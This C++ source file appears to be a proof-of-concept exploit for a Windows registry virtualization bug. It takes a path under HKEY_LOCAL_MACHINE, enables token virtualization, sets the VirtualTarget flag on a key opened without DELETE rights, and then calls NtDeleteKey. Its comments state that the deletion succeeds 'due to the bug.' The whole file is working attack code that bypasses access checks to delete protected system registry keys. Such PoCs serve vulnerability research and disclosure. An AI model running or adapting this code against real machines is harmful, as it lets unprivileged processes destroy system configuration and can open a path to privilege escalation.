#define WIN32_NO_STATUS
#include <Windows.h>
#undef WIN32_NO_STATUS
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll")

typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION {
  ULONG   VirtualTarget : 1; // Tells if the key is a virtual target key.
  ULONG   VirtualStore : 1;  // Tells if the key is a virtual store key.
  ULONG   VirtualSource : 1; // Tells if the key has been virtualized at least one (virtual hint)
  ULONG   Reserved : 29;
} KEY_SET_VIRTUALIZATION_INFORMATION, * PKEY_SET_VIRTUALIZATION_INFORMATION;

extern "C" {

NTSTATUS NTAPI NtDeleteKey(
  HANDLE KeyHandle
);

}  // extern "C"

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

BOOL EnableKeyVirtualization(HKEY hkey,
                             BOOL VirtualTarget,
                             BOOL VirtualStore,
                             BOOL VirtualSource) {

  KEY_SET_VIRTUALIZATION_INFORMATION VirtInfo;
  VirtInfo.VirtualTarget = VirtualTarget;
  VirtInfo.VirtualStore = VirtualStore;
  VirtInfo.VirtualSource = VirtualSource;
  VirtInfo.Reserved = 0;

  NTSTATUS Status = NtSetInformationKey(hkey,
                                        KeySetVirtualizationInformation,
                                        &VirtInfo,
                                        sizeof(VirtInfo));

  return NT_SUCCESS(Status);
}

int wmain(int argc, wchar_t** argv) {
  if (argc != 2) {
    wprintf(L"Usage: %s <path inside HKLM>\n", argv[0]);
    return 1;
  }

  //
  // Open the desired key with the KEY_READ and KEY_SET_VALUE access rights,
  // which is sufficient to set the virtualization flags on the key and for
  // virtualization to be activated during key deletion.
  //

  HKEY hkey;
  LONG st = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                          argv[1],
                          0,
                          KEY_READ | KEY_SET_VALUE,
                          &hkey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for the current process.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);

  //
  // Set the VirtualTarget virtualization flag on the target key.
  //

  if (!EnableKeyVirtualization(hkey,
                               /*VirtualTarget=*/TRUE,
                               /*VirtualStore=*/ FALSE,
                               /*VirtualSource=*/FALSE)) {
    printf("Failed to enable virtualization for the key\n");
    return 1;
  }

  //
  // Trigger the key deletion, which should succeed due to the bug, even though
  // we don't have DELETE access rights to the key.
  //

  NTSTATUS Status = NtDeleteKey(hkey);
  
  if (!NT_SUCCESS(Status)) {
    printf("NtDeleteKey failed with error %.8x\n", Status);
    return 1;
  }

  RegCloseKey(hkey);

  return 0;
}